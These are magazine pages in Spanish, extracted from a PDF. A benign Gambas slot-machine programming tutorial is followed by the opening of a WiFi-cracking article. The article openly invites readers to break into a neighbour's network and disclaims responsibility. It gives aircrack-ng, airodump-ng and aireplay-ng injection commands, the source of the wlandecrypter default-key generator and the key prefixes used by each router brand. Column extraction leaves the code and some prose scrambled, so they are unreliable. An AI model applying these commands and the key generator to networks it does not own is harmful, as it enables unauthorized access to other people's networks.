PRIVATE FUNCTION DameNumeroAleatorio() AS Byte
DIM Numero AS Byte
RANDOMIZE
Numero = CInt(Rnd(0, 6))
RETURN Numero
END
Listado 2. Procedimiento HabilitaJuego
PRIVATE SUB HabilitaJuego(Valor AS Boolean)
spbApuesta.Enabled = Valor
btnJugar.Enabled = Valor
END
Listado 3. Procedimiento ColorTitulo
PRIVATE SUB ColorTitulo(ControlLabel AS Label)
DIM NumeroColor AS Byte
RANDOMIZE
NumeroColor = Rnd(1, 3)
SELECT CASE NumeroColor
CASE 1
ControlLabel.ForeColor = Color.Green
CASE 2
ControlLabel.ForeColor = Color.DarkGreen
CASE 3
ControlLabel.ForeColor = Color.Black
END SELECT
END
Listado 4. Contenido del módulo modVarios
' Gambas module file
PUBLIC TotalPlataGanada AS Integer
PUBLIC TotalPlataPerdida AS Integer
PUBLIC CantPartGanadas AS Integer
PUBLIC CantPartPerdidas AS Integer
PUBLIC SUB Salir(Control AS Form)
IF Message.Question("¿Desea salir
Control.Close
de Tragamonedas?", "Si", "No") = 1 THEN
Control.Delete
END IF
END
www.lpmagazine.org
63
programación
Curso de Programación en Gambas
Listado 5. Procedimiento VerificaGanador
PRIVATE SUB VerificaGanador()
IF lblNumA.Caption = lblNumB.Caption AND lblNumB.Caption =
lblNumC.Caption THEN
Apuesta = Apuesta * 2
Message.Info("¡Felicitaciones, has Ganado $" & Apuesta & "!")
Dinero = Dinero + Apuesta
modVarios.TotalPlataGanada = modVarios.TotalPlataGanada + Apuesta
ELSE
Message.Info("¡Mala Suerte! Has perdido $" & spbApuesta.Value)
INC modVarios.CantPartPerdidas
modVarios.TotalPlataPerdida = modVarios.TotalPlataPerdida + Apuesta
ENDIF
END
Listado 6. Evento Open del FMain, inicializando los valores de las variables
PUBLIC SUB Form_Open()
Fmain.Center
Dinero = 100
lcdDinero.Value = 100
Apuesta = 0
END
Listado 7. Evento Change del spbApuesta
PUBLIC SUB spbApuesta_Change()
IF spbApuesta.Value > Dinero THEN
Message.Info("¡Has llegado al Monto Maximo de Apuesta!")
spbApuesta.Value = Dinero
ENDIF
END
le asigna a la propiedad Values de spbApuesta
el valor que contiene la variable Dinero. Una
vez hecha la apuesta, el jugador hará clic
sobre el botón btnJugar, que es el que codificaremos a continuación, como se muestra
en el Listado 8.
Este código en primera instancia verifica
que la apuesta que realizó el jugador sea válida,
y de no ser así, sale del evento mediante RETURN, al igual que se utiliza en las Funciones,
con la salvedad de que aquí no se retorna ningún valor en particular, simplemente se sale del
evento. Luego, se asigna el valor que contiene
spbApuesta a la variable Apuesta, y la variable
HorarioActual se le asigna la hora en que el
jugador hizo clic sobre el botón btnJugar. Esta
variable será utilizada para comparar y verificar
el tiempo que realizará la animación del tragamonedas, que la codificaremos en los timers
correspondientes. Luego, se le resta al jugador
64
el dinero apostado y se refresca el nuevo valor
en el lcdDinero. Por último, deshabilitamos
los controles correspondientes llamando al procedimiento HabilitaControles, pasándole un
Figura 10. Formulario FEstadisticas
Linux+ 5/2009
valor FALSE y acto seguido habilitamos los tres
controles Timers para que hagan su labor, la
cual explicaremos a continuación.
Como habrán visto en los casinos o en la
televisión, las máquinas de tragamonedas tiene
una particularidad. Cuando el jugador tira de
la palanca, empieza una especie de animación
la cual pasan los números o las imágenes de
manera rápida, y luego se detiene la primera
imagen, luego la segunda y por último la tercera. Nosotros trataremos de simular el mismo
efecto, pero programándolo mediante Gambas
y el uso de controles Timers.
Cada control Timer, tiene asignado un rango de tiempo en el cual funcionará, y se comparará con la hora en la cual se ha iniciado el
juego, que está almacenada en la tan misteriosa
variable HoraActual. Cuando se inicien los
Timers, estos estarán comprobando constantemente que su rango de tiempo no haya caducado, pero de ser así, se deshabilitarán y quedarán
con el número que tenían almacenado en ese
instante de tiempo. Para simular la animación
de las máquinas tragamonedas, los Timers tendrán diferente tiempo asignado, y cada uno se
detendrá 1 segundo después que el otro, pero
siempre comparándose con el HorarioActual.
Para comprender mejor este funcionamiento,
echemos un vistazo a la Figura 8.
En primera instancia, nuestro jugador presiona el botón ¡Jugar!, se disparan los tres controles Timers, entre otras cosas. Luego que pasan
2 segundos, el control tmrAnimaA se detiene,
y queda con el número 1 almacenado. Un segundo más tarde, es decir en el segundo número 3, el
control tmrAnimaB se detiene, y también queda
con el número 1 almacenado. Por último, vuelve
a pasar 1 segundo más, el segundo número 4,
y se detiene el tmrAnimaC, que por ser el último,
llama al procedimiento VerificaGanador(), que
ya sabemos lo que hace.
Ahora bien, terminada la explicación. Si
no se ha comprendido de manera total, tal vez
programación
Curso de Programación en Gambas
observando el código fuente se nos haga más
fácil. Por cuestiones de simplicidad y para
poder analizarlos mejor, se ha puesto el código
fuente de los tres controles Timers dentro del
Listado 9.
Podemos ver que el funcionamiento de
todos los timers son iguales, a excepción del
tmrAnimaC, que cuando termina su labor, se
encarga de llamar al procedimiento VerificaGanador y de volver a habilitar los controles
para que el jugador pueda iniciar una nueva
partida. Para poder calcular el tiempo entre que
se inició el juego y el tiempo en que transcurre
la animación, se hace uso de la función DateDiff, que recibe dos valores del tipo Date
como argumentos, y retorna la diferencia de
tiempo según es especificada en el tercer parámetro, en nuestro caso gb.secord, es decir,
queríamos que nos retornara la diferencia de
tiempo entre esas fechas expresada en segundos.
Se deja como tarea al lector ir variando el
valor del tiempo de actividad de los Timers,
con la finalidad de alterar los tiempos de la
animación.
Para finalizar el funcionamiento de nuestro juego, simplemente nos queda codificar el
tmrAnimaTitulo, que se encargará de llamar al
procedimiento ya codificado ColorTitulo, tal
como se muestra en el Listado 10.
En la Figura 9, podemos ver un ejemplo
del funcionamiento de nuestro juego. En las
siguientes secciones, le añadiremos funcionalidades a nuestro tragamonedas...
Dándole vida a los menús
En esta sección, nos encargaremos de codificar
las acciones de los menús. En una aplicación
convencional, las opciones de los menús también se encuentran, por ejemplo, dentro del
formulario principal o almacenados en una
barra de herramientas. Este caso no escapa
a esa situación. Los componentes que conforman nuestro menú ya están codificados, con la
salvedad de, por ejemplo, el formulario de estadísticas y el de modificación de nivel de dificultad. Para programar las acciones nos dirigimos
a nuestro menú, tal cual como lo haríamos si la
aplicación estuviese corriendo, y hacemos clic
sobre el componente a codificar. Por ejemplo,
seleccionamos Archivo–>Jugar.
Una vez hecho clic, Gambas automáticamente nos dirige al editor de código fuente,
donde nos encargaremos de llamar al evento
clic del btnJugar de la siguiente manera: btnJugar_Click ¡Y listo! Ya tenemos la acción
que se realizará cuando el jugador haga clic en
ese menú. Sencillo, ¿verdad? Entonces, se le
deja al lector como tarea codificar los menús
restantes.
Dicen las Estadísticas...
Todo jugador tiene un gran interés sobre la cantidad de dinero que va ganando y/o perdiendo.
Es por ello, que nuestra aplicación le proveerá al usuario el ver estadísticas sobre los juegos que ha realizado. Para ello, insertamos un
Listado 8. Codificación del Botón btnJugar, encargado de iniciar el juego
PUBLIC SUB btnJugar_Click()
IF spbApuesta.Value = 0 THEN
Message.Error("¡Hey! Debes Apostar..")
RETURN
ELSE IF spbApuesta.Value > Dinero THEN
Message.Info("¡No tienes suficiente dinero para realizar esa apuesta!")
RETURN
ENDIF
Apuesta = spbApuesta.Value
HorarioActual = Now
Dinero = Dinero – spbApuesta.Value
lcdDinero.Value = Dinero
HabilitaJuego(FALSE)
tmrAnimaA.Enabled = TRUE
tmrAnimaB.Enabled = TRUE
tmrAnimaC.Enabled = TRUE
END
Listado 9. Codificación de los controles tmrAnimaA, tmrAnimaB y AnimaC
PUBLIC SUB tmrAnimaA_Timer()
lblNumA.Caption = DameNumeroAleatorio()
IF DateDiff(HorarioActual, Now, gb.Second) > 2 THEN
tmrAnimaA.Stop
ENDIF
END
PUBLIC SUB tmrAnimaB_Timer()
lblNumB.Caption = DameNumeroAleatorio()
IF DateDiff(HorarioActual, Now, gb.Second) > 3 THEN
tmrAnimaB.Stop
tmrAnimaB.Enabled = FALSE
ENDIF
END
PUBLIC SUB tmrAnimaC_Timer()
lblNumC.Caption = DameNumeroAleatorio()
IF DateDiff(HorarioActual, Now, gb.Second) > 4 THEN
tmrAnimaC.Stop
tmrAnimaC.Enabled = FALSE
VerificaGanador()
HabilitaJuego(TRUE)
ENDIF
END
Figura 11. Resultado de Ejecutar el Listado 12
www.lpmagazine.org
65
programación
Curso de Programación en Gambas
nuevo formulario llamado FEstadisticas, el cual
contendrá seis controles Labels, encargados de
informarle al usuario los datos correspondientes. También, insertaremos un control DrawingArea, que contendrá un dibujo que los lectores
crearán, valiéndose de la sección Introducción
al Dibujo de Primitivas. El control DrawingArea hace de una especie de hoja en el formulario, que solamente sobre ella podremos dibujar.
El formulario resultante puede ser similar al
que se muestra en la Figura 10.
Podemos recordar que anteriormente
declaramos en el módulo modVarios, cuatro
variables llamadas TotalPlataGanada, TotalPlataPerdida, CantPartGanadas, CantPartPerdidas. Como sabemos, estas variables almacenan los valores que el jugador tanto
ansía saber. El codigo fuente de este formulario,
se encuentra en el Listado 11. No hace falta explicar el funcionamiento de este formulario, pero sí vale la pena aclarar dos puntos importantes
y nuevos. Como podemos ver, Gambas soporta
Listado 10. Llamada al procedimiento ColorTitulo, desde el control tmrAnimaTitulo
PUBLIC SUB tmrAnimaTitulo_Timer()
ColorTitulo(lblTitulo)
END
Listado 11. Codificación completa del formulario FEstadisticas
DIM TotalPartidas AS Integer = modVarios.CantPartGanadas
+ modVarios.CantPartPerdidas
stadisticas.ShowModal
WITH modVarios
lblPlataGanada.Caption = "Plata Ganada: $" & .TotalPlataGanada
lblPlataPerdida.Caption = "Plata Perdida: $" & .TotalPlataPerdida
lblCantPartGanadas.Caption = "Cant Partidas Ganadas: "
& .CantPartGanadas
lblCantPartPerdidas.Caption = "Cant Partidas Perdidas: "
& .CantPartPerdidas
END WITH
lblCantPartJugadas.Caption = "Cant Partidas Jugadas: " & TotalPartidas
Listado 12. Ejemplo de Dibujo de Primitivas
DIM Contador AS Integer
'Enlazamos el DrawingArea con la clase Draw
Draw.Begin(DrawingArea1)
RANDOMIZE
'Elegimos el Color de Primer Plano
Draw.ForeColor = Color.Blue
'Creamos un Bucle para que dibuje 1500 lineas
FOR Contador = 0 TO 1500
'Llamamos al metodo line, pasandole valores aleatorios
del largo de la linea.
'Draw.Line(PosicionX,PosicionY,LargoX,LargoY).
El metodo W y H retornan
'el ancho y el largo del control, es decir, seria el
tamaño de la "Hoja"
Draw.Line(Rnd(0, DrawingArea1.W), Rnd(0, DrawingArea1.H), 200, 200)
'Asignamos un color "al azar", creandolo mediante
el metodo RGB de la clase Color
Draw.ForeColor = Color.RGB(Rnd(0, 255), Rnd(0, 255), Rnd(0, 255))
'Finalizamos el Dibujo
Draw.End
66
la declaración y asignación de variables en la
misma sentencia. Esto se puede observar en
la declaración de la variable TotalPartidas,
donde automáticamente se le asigna el valor
de la suma de modVarios.CantPartGanadas
+ modVarios.CantPartPerdidas. Otro concepto nuevo es el uso de la estructura WITH...
END WITH. Esta estructura nos ahorra tener que
escribir el nombre, en este caso, del módulo
repetidas veces. Observe el lector que lo que
se encuentra dentro de esta estructura, son
llamadas a las variables que se encuentran en
el módulo modVarios. Para hacer referencia
a estas variables desde adentro de la estructura
WITH, se hace mediante el símbolo punto y el
nombre de la variable. Esta estructura no aporta
nada significante dentro de lo funcional de la
aplicación, ya que sin el uso de ella se podría
haber desarrollado el formulario de igual
manera. Simplemente aporta más legibilidad
y sencillez a la hora de escribir código.
Para terminar, llamar al formulario FEstadisticas desde el FMain, mediante FE-
Linux+ 5/2009
Introducción
al Dibujo de Primitivas
En determinadas ocasiones, es posible que al
programador se le presente el problema de querer dibujar sus propios gráficos en la pantalla. Para subsanar este problema, Gambas introduce el
concepto de Dibujo de Primitivas. Este concepto
funciona de la siguiente manera: primero, se
debe insertar un control DrawingArea dentro del
formulario. Éste actuará a modo de hoja, es decir, podremos crear gráficos sobre él. Luego, tendremos que utilizar la clase estática Draw, la cual
habrá que asociarla al control DrawingArea,
para poder utilizar sus propiedades y métodos.
Por último, dibujamos los gráficos necesarios
valiéndonos de los métodos de la clase Draw.
Un ejemplo de uso del DrawingArea se muestra
en el Listado 12, el cual está comentado
para facilitar la comprensión. El resultado de
este código se puede observar en la Figura 11.
Como vemos, el dibujo de gráficos en
Gambas es muy sencillo. Simplemente, tendremos que usar los métodos que más se adecuen
al gráfico que queremos conseguir, pasándole
los parámetros que necesitemos. Es por ello,
que en la Tabla 4 se resumen los métodos más
importantes para poder dibujar gráficos.
Como se mencionó en la sección anterior
Dicen las Estadísticas..., se le deja al lector que
cree un dibujo para incorporar al FEstadisticas y así, hacerlo más vistoso y atractivo para
el usuario. (Por ejemplo, se podría dibujar un
sencillo gráfico de barras, que representan de
forma simbólica a las estadísticas).
programación
Curso de Programación en Gambas
Figura 13. Posible GUI del TaTeTi ¡A Programarlo!
•
Figura 12. Ventana del Traductor de Aplicaciones de Gambas
Traduciendo Nuestra Aplicación
Entre las tantas características que nos provee
Gambas, una de las más interesantes es el asistente de traducción de aplicaciones. Para poder
utilizarlo, tendremos que indicarle a Gambas
que nuestro proyecto es traducible. Para ello,
nos dirigimos al menú Proyecto --> Propiedades y en la pestaña Opciones, y marcamos Si en
donde nos dice El proyecto es traducible y por
último hacemos clic en Ok. Ahora nos dirigimos nuevamente al menú Proyecto, notaremos
que se nos agregó una nueva opción: Traducir.
Hacemos clic sobre la opción, y se nos aparecerá una ventana similar a la que se muestra en
la Figura 12.
La traducción de proyectos no es automática, se realiza de manera manual, por lo que
tendremos que agregar las palabras nosotros.
Este asistente, como todos los que están incluidos en Gambas, es sumamente intuitivo. En el
cuadro que se encuentra en la parte superior
Contador y Acumulador
El concepto de contador y acumulador son
constantemente utilizados en la gran mayoría de los lenguajes. Estos conceptos,
como su nombre lo indica, son variables
que el programador declara exclusivamente para contar o acumular (sumar,
por ejemplo) determinados datos. Es por
ello que Gambas nos provee los operadores INC y DESC, que cumplen la función
de sumar una unidad o descontarla a la
variable que se le aplique.
Es equivalente a hacer Contador=Contador + 1
de la ventana, se encuentran las palabras que
tiene nuestro proyecto. Gambas, se encarga de
extraer todas las palabras de las propiedades
Text, etc., y recopilarlas en este cuadro, para
que se nos haga más sencilla la tarea de traducir
la aplicación. Cuando seleccionamos una palabra de este cuadro, nos dirigimos a la caja de
texto que se encuentra en la parte inferior de la
pantalla, e introducimos su significado equivalente en el idioma que deseemos. Estos pasos se
deben realizar con cada una de las palabras que
se encuentran en el proyecto.
Ejercicios Propuestos
Se le deja al lector una serie de ejercicios
propuestos, con el fin de poder practicar y aplicar los conocimientos adquiridos hasta el momento:
•
•
•
•
•
Implementar un nuevo formulario llamado
FDificultad, en el cual se pueda ingresar un
nivel de dificultad (del 0 al 9) y que éste sea
funcional en el juego. Pistas: ver la Función
DameNumeroAleatorio,
Deshabilitar el botón del menú Jugar, cuando se haga clic sobre él o se haga clic sobre
el btnJugar. Habilitarlo cuando corresponda.
Pista: utilizar el método Enabled,
Programar el menú Ayuda -> Contenidos,
en el cual se muestren las reglas del juego,
Agregar funcionalidades al juego, como
por ejemplo, que cuando salga el numero
666 el jugador pierda automáticamente.
También añadirle colores a los números
a medida que salgan y sean iguales.
Programar un juego del tipo TaTeTi o Tres
en Raya, con todas las funcionalidades
y reglas del juego. Una posible interfaz del
www.lpmagazine.org
juego se muestra en la Figura 13, en la
cual se implementan 9 botones que representan cada figura.
Tomar el Editor de Texto programado en
la entrega anterior e implementarle un
sistema de menús.
Consideraciones Finales
En resumen, en esta entrega hemos visto conceptos importantes de la programación como lo son
la modularidad y el famoso Divide y Vencerás.
También, hemos dado una recorrida en la creación de menús como así también en la implementación de números aleatorios, integrándolo todo
en un juego del tipo Tragamonedas. Por último,
vimos lo fácil que es con Gambas distribuir aplicaciones multiidioma y crear dibujos sencillos.
No se olviden que ante cualquier consulta, pueden escribirme a [email protected].
Sobre el autor
Jorge Emanuel Capurro es estudiante
de la Tec. Superior en Programación, carrera dictada en la Universidad Tecnológica Nacional - Facultad Regional Haedo,
provincia de Bs As, Argentina. Principalmente, su área de investigación se centra
en los Sistemas Operativos de tipo UNIX y
de la programación bajo esta plataforma.
Es el creador del proyecto IDEas (http:
//ideasc.sourceforge.net), que es el primer
frontend desarrollado bajo Gambas del
compilador gcc (http://gcc.gnu.org), que
se utiliza con fines didácticos. Actualmente
se desempeña como programador para la
empresa IBM Argentina en el departamento de Applications Management Services,
participando de diversos proyectos de
desarrollo de software de carácter internacional.
67
hacking para linuxeros
Cracking Wifi al completo
Cracking Wifi
al completo
David Puente Castro (Blackngel)
[email protected]
¿Deseas comprobar si la red WiFi que tienes montada en tu casa es realmente
segura? ¿En tu escuela saben que eres un hacha en esto de la informática y te
han pedido que realices una auditoría de su red inalámbrica? ¿O simplemente
no puedes costearte una conexión ADSL puesto que tus recursos son limitados
y tienes la suerte de tener a tu alcance la red wireless que tu vecino ha instalado
hace apenas unos meses?
C
ualquiera que sea tu situación, el objetivo de
este artículo es la recopilación de todos los métodos conocidos hasta la actualidad para lograr
descubrir la contraseña de todas aquellas redes
wifi que puedes alcanzar con tu tarjeta inalámbrica. Si lo que
haces es legal o no, es responsabilidad tuya.
Introducción
¿Qué tiene este artículo que lo diferencia con cualquier otro
que puedas encontrar en la red? Fácil. Casi todos los artículos
o reseñas que puedas encontrar a lo largo de Internet sólo se
centran en un método para hacer cierta tarea y casi siempre se
resume a lo siguiente:
•
•
Utiliza airodump(-ng) para capturar paquetes.
Utiliza aircrack(-ng) para romper la clave.
Quizás con un posible: Utiliza aireplay(-ng) para inyectar
paquetes. ¿Pero qué pasa cuando te encuentras en una situación en que no todo sale como debería? Cuando una red apenas produce paquetes, cuando no tiene clientes conectados o
un sin fin de inconvenientes que limitan tus armas...
68
Linux+ 5/2009
Pues aquí te mostraremos diversas formas de seguir
consiguiendo contraseñas aun a pesar de enfrentarte a todas
estas dificultades. Aquí reuniremos todo aquello que se puede
encontrar en los foros más dispersos de la telaraña global,
y agregaremos todos los links necesarios a cualquier herramienta que sea mencionada.
Este artículo se centra sobre el sistema operativo Linux,
aunque haremos referencias en su momento al resto. Normalmente todos los programas o scripts presentados, salvo contadas excepciones, pueden ser ejecutados en ambos sistemas.
Recuerda que un ejecutable de Windows puede correr bajo
Linux por medio de Wine.
Romper WEP
Tras la puerta de este protócolo, realmente quien se encuentra
es otro mucho más conocido llamado: RC4. Que resulta ser
un algoritmo de cifrado de flujo.
Podríamos decir que RC4 convierte una contraseña
cualquiera en una tirada de bits pseudoaleatorios mucho
más larga que la original. Esta cadena puede ser utilizada
posteriormente para aplicarse al texto plano en el proceso
de cifrado real.
hacking para linuxeros
Cracking Wifi al completo
•
•
•
Wireshark (ethereal)
AirSnort
Kismet
Lo que ocurre es que la suite Aircrack(-ng) está
especialmente diseñada para dedicarse a una
única tarea. Y es por ello que nos hace la vida
mucho más fácil.
Ataque básico
No me centraré más que en los 3 o 4 pasos
básicos que se deben dar para crackear una red
wireless estandar sin más complicaciones:
•
Figura 1. Aircrack, Airodump y Aireplay en acción
Pero WEP pretendía implantar una medida
adicional de seguridad. Y para ello utilizo lo
que muchos conocemos como IV's (Vectores
de Inicialización). En realidad no es más que
una cadena de 24 bits que se añade a la clave
antes de pasar por RC4.
En resumen WEP realiza lo siguiente (extraído de la referencia que se cita al final de sección):
•
•
•
•
•
•
•
•
Se calcula un CRC de 32 bits de los datos.
Este CRC-32 es el método que propone
WEP para garantizar la integridad de los
mensajes (ICV, Integrity Check Value).
Se concatena la clave secreta a continuación del IV formado el seed.
El PRNG (Pseudo-Random Number Generator) de RC4 genera una secuencia de carácteres pseudoaleatorios (keystream), a partir del seed, de la misma longitud que los
bits obtenidos en el punto 1.
Se calcula la O exclusiva (XOR) de los
caracteres del punto 1 con los del punto 3.
El resultado es el mensaje cifrado.
Se envía el IV (sin cifrar) y el mensaje
cifrado dentro del campo de datos (frame
body) de la trama IEEE 802.11
El problema radica en estos dos puntos:
La ridícula longitud del IV (24 bits)
La pésima implementación de los fabricantes a la hora de aplicar aleatoriedad a estos
Vectores de Inicialización.
La cuestión es que, aun desconociendo la clave,
los IV's se repiten en multitud de ocasiones,
provocando que distintos textos planos se cifren
multitud de veces con el mismo seed (casi igual
que decir que se cifra con la misma clave).
Si se consigue una cantidad de textos cifrados considerable en los que se repita el Vector
de Inicialización, entonces podrían iniciarse
ataques estadísticos para deducir el texto en
claro. Pero resulta que gracias a la aplicación
del XOR, existe una propiedad que dice que
se se puede obtener el seed aplicado a un texto
cifrado, realizando el XOR entre un texto plano
y un texto cifrado con este mismo seed.
Entonces el problema se reduce a encontrar
un texto plano cifrado con la misma cadena.
Y es más sencillo de lo que parece, porque
existen tráficos predecibles o bien, podemos provocarlos nosotros (mensajes ICMP de solicitud y
respuesta de eco, confirmaciones de TCP, etc.).
Con todo esto es posible ya descifrar tráfico generado por una red que utilice en protocolo
WEP como método de seguridad. Pero este método no es suficiente para obtener la clave. Para ello
se han descubierto otras vulnerabilidades implícitas en el protocolo RC4 que facilitan esta tarea.
Para más información mejor consulten en
este lugar [1].
Aircrack-ptw
Poner a correr airodump(-ng) normalmente
para ver todas las redes que encontramos
a nuestro alcance:
$ airodump-ng --write captura
•
--ivs interfaz
Cuando nos hayamos decidido por una red
en concreto y tengamos el canal sobre el
que opera:
$ airodump-ng --write red_elegida
--channel X --ivs interfaz
Ahora esperamos a que el campo DATA de la
red elegida comience a subir hasta alcanzar como mínimo una cantidad de 250.000 para redes
con claves de 64 bits o cerca de 1.000.000 para
redes de 128 bits.
A tener en cuenta:
•
•
Para el resto de redes que se presentan en
este artículo normalmente deberás suprimir
el parámetro --ivs para que el archivo tenga formato *.cap y pueda ser interpretado
correctamente por los programas adecuados.
Si deseas que en pantalla solo aparezca la
red sobre la que te centras puedes especificar el parámetro --bssid seguido de la
dirección MAC del punto de acceso.
La cantidad de paquetes IV que precises
puede variar mucho dependiendo de la red
con la que estés tratando. Recuerda que
siempre puedes ir probando el archivo de
Tal cual se anunció en Kriptopolis y otros lugares en su momento: Investigadores alemanes
han anunciado un nuevo ataque que reduciría a •
una décima parte el volumen de trafico cifrado
WEP necesario para crackear la clave utilizada en una comunicación inalámbrica.
En la práctica, el anuncio viene a significar
que las comunicaciones WEP a 128 bit podrían
ser crackeadas en menos de un minuto utilizando un equipo informático común.
La herramienta aircrack-ptw fue creada
por los mismos investigadores como prueba
de concepto para esta vulnerabilidad, aunque
hoy en día la ultima versión de aircrack-ng ya
implementa este ataque (si bien puede ser desactivado a petición en la linea de comandos).
Por último recordar que existen muchas otras
herramientas que nos permiten capturar tráfico.
Algunas de ellas tienen nombres tan conocidos
como:
Figura 2. Logo wlan
www.lpmagazine.org
69
hacking para linuxeros
Cracking Wifi al completo
Listado 1a. Código Fuente Wlandecrypter
/******************************************************
* Fichero:
wlandecrypter.c
* Autor:
Nilp0inteR (nilp0inter2
* Fecha:
23-03-2006
k6[at]gmail[dot]com)
* Actualizado:
* Modicado:
([email protected])
22-11-2006
06-11-2008 blackngel
*
return 1;
}
fprintf(stderr, "\nwlandecrypter %i.%i - (c) 2006
nilp0inter2k6_at_gmail.com\n",
VERSION, SUBVERSION);
fprintf(stderr, "------------>
http://www.rusoblanco.com
if (strlen(argv[1]) != 17) {
* Descripción: Generador de diccionario de claves
por defecto para los
fprintf(stderr," [-] Longitud
* router de Timofonik Zyxel, Xavvy y Comtrend.
*
}
* bajo los términos de la Licencia Publica General
initRouters(routers);
redistribuirlo y/o modificarlo
GNU (GPL) publicada
datosRouters(routers);
* por la Free Software Foundation; en su version
numero 2, o (bajo tu
bssidId = buscaBssid(routers, argv[1]);
Mira http://www.fsf.org/copyleft/gpl.txt.
if (bssidId == -1) {
* criterio) la ultima version.
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
******************************************************/
fprintf(stderr, " [-] BSSID no encontrado\n");
}
return 1;
else {
fprintf(stderr, " [+] BSSID: %s\n"
#include <stdio.h>
" [+] Modelo: %s\n", argv[1],
#include <stdlib.h>
routers[bssidId].notas);
#include <string.h>
toUpperString(&argv[2]);
#define MAXROUTER 8
if (strlen(argv[2]) < 7 || strlen(argv[2]) > 9 ||
#define MAXINDEX 1
#define VERSION 0
strncmp("WLAN_",
#define SUBVERSION 5
argv[2], 5) != 0 ) {
fprintf(stderr, " [-] ESSID:
typedef struct Router
{
%s invalido!!\n", argv[2]);
char bssid[9];
}
char init[MAXINDEX][8];
return 1;
else {
char notas[30];
for (i = 0; i < 16; i++) {
if (argv[2][5] == hex[i])
} tRouter;
validHex++;
char hex[16] = "0123456789ABCDEF";
if (argv[2][6] == hex[i])
validHex++;
void toUpperString(char *);
}
void datosRouters(tRouter []);
if (validHex != 2) {
void initRouters(tRouter []);
fprintf(stderr, " [-] ESSID:
int buscaBssid(tRouter [], char *);
%s invalido!!\n", argv[2]);
void imprimeClaves(FILE *, tRouter [], int, char *);
}
int main(int argc, char *argv[])
{
endKey[0]=argv[2][5];
int bssidId, i;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;
return 1;
else {
endKey[1]=argv[2][6];
int validHex=0;
argv[2]);
fprintf(stderr," [+] ESSID: %s\n",
if (argc > 3) {
if (argc < 3 || argc > 4) {
fprintf(stderr," [+]
muestraAyuda();
70
de BSSID invalida\n");
return 1;
* Este programa es software libre; puedes
*
<------------\n\n");
Fichero de claves: %s\n", argv[3]);
Linux+ 5/2009
hacking para linuxeros
Cracking Wifi al completo
Listado 1b. Código Fuente Wlandecrypter
fichero = fopen(argv[3], "a+");
// Zyxel : Gracias a thefkboss de
if (fichero != NULL) {
// foro.elhacker.net por esta observacion
imprimeClaves(fichero,routers,bssidId,
strcpy(routers[3].bssid, "00:A0:C5\0");
fclose(fichero);
strcpy(routers[3].notas, "Zyxel 650HW/660HW\0");
endKey);
strcpy(routers[3].init[0], "Z001349\0");
fprintf(stderr, " [+]
Fichero guardado\n");
}
// Comtrend NUEVO, gracias a dnreinad por
// el coche xD
else {
strcpy(routers[4].bssid, "00:16:38\0");
fprintf(stderr, " [-]
Error al abrir el fichero\n");
}
}
return 1;
strcpy(routers[4].init[0], "C0030DA\0");
strcpy(routers[5].init[0], "Z001349\0");
fprintf(stderr," [+] Seleccionada
strcpy(routers[5].notas, "P-660HW-D1\0");
salida estandar\n");
imprimeClaves(stdout, routers,
}
}
}
// ZyGate
bssidId, endKey);
strcpy(routers[6].bssid, "00:02:CF\0");
strcpy(routers[6].init[0], "Z0002CF\0");
strcpy(routers[6].notas, "ZyGate\0");
// ZyGate
return 0;
strcpy(routers[7].bssid, "00:19:15\0");
strcpy(routers[7].init[0], "C0030DA\0");
void toUpperString(char *s)
{
}
{
*s = toupper(*s);
}
fprintf(stderr, "\nwlandecrypter %i.%i - (c)
s++;
2006 nilp0inter2k6_at_gmail.com\n",
VERSION, SUBVERSION);
fprintf(stderr, "------------>
www.rusoblanco.com
void initRouters(tRouter routers[MAXROUTER])
{
fprintf(stderr, "
int buscaBssid(tRouter routers[MAXROUTER],
char *bssid)
int i;
strcpy(routers[j].bssid, "");
for (i = 0; i < MAXINDEX; i++)
toUpperString(&bssid);
for(i = 0; i < MAXROUTER; i++) {
strcpy(routers[j].init[i], "");
strcpy(routers[j].notas, "");
if (strncmp(routers[i].bssid, bssid, 8) ==
0)
}
void datosRouters(tRouter routers[MAXROUTER])
{
}
return i;
return -1;
void imprimeClaves(FILE *out, tRouter
// Z-com
routers[MAXROUTER], int bId, char *keyEnd)
strcpy(routers[0].bssid, "00:60:B3\0");
strcpy(routers[0].init[0], "Z001349\0");
{
strcpy(routers[0].notas, "Z-com\0");
int i, index=0;
while(index < MAXINDEX && strcmp
(routers[bId].init[index], "")) {
// Xavvy
for (i = 0; i < 65536; i++)
strcpy(routers[1].bssid, "00:01:38\0");
strcpy(routers[1].init[0], "X000138\0");
fprintf(out, "%s%04X%c%c\n",
strcpy(routers[1].notas, "Xavi 7768r\0");
routers[bId].init[index],
keyEnd[0], keyEnd[1]);
// Comtrend
strcpy(routers[2].bssid, "00:03:C9\0");
strcpy(routers[2].init[0], "C0030DA\0");
uso: wlandecrypter <bssid>
}
for (j = 0; j < MAXROUTER; j++) {
}
http://
<------------\n\n");
<essid> [output file]\n\n");
int i, j;
}
strcpy(routers[7].notas, "Comtrend\0");
void muestraAyuda()
while (*s) {
}
// P-660HW-D1
strcpy(routers[5].bssid, "00:13:49\0");
else {
}
strcpy(routers[4].notas, "Comtrend 536+\0");
strcpy(routers[2].notas, "Comtrend 535\0");
}
}
www.lpmagazine.org
i,
index++;
71
hacking para linuxeros
Cracking Wifi al completo
capturas con aircrack(-ng) sin necesidad indices de fuerza bruta o ataques korek especiade parar el proceso airodump(-ng).
les (Figura 1).
• Ejecutar un ataque de inyeccion de paquetes para aumentar el trafico:
Ataque a “WLAN_XX”
$ aireplay-ng -3 -b MAC AP -h MAC
Investigando las WiFi WLAN_XX, una tal
CLIENTE
nilp0inter público en un foro que había descubierto que las claves por defecto de este tipo
Para ejecutar este ataque necesitas que en la de redes eran prácticamente comunes según
parte inferior del airodump(-ng) se muestre un que marca de router fuese utilizado.
cliente autorizado conectado a la red. Recuerda
Todos los routers wireless de una misma
también que este paso es opcional pero hoy en marca utilizaban una misma raíz para sus condía casi imprescindible si no queremos perder traseñas. A continuación venían 4 dígitos hexadehoras crackeando una red.
cimales cualesquiera seguido de los dos últimos
Lanzar aircrack(-ng) en la búsqueda de la dígitos que componían el nombre de la WLAN
clave correcta:$ aircrack-ng captura.ivs. (Figura 2).
Te pedirá que elijas la red en caso de que
Los fabricantes que se habían estudiado
haya capturado paquetes de varias y se pondrá eran los siguientes:
directamente a hacer sus cálculos internos para
proporcionarte la clave correcta.
Z-com
Z001349
Si tuvieras pistas acerca de si se trata de
Zyxel
Z001349
una contraseña compuesta por solo números o
P-660HW-D1
Z001349
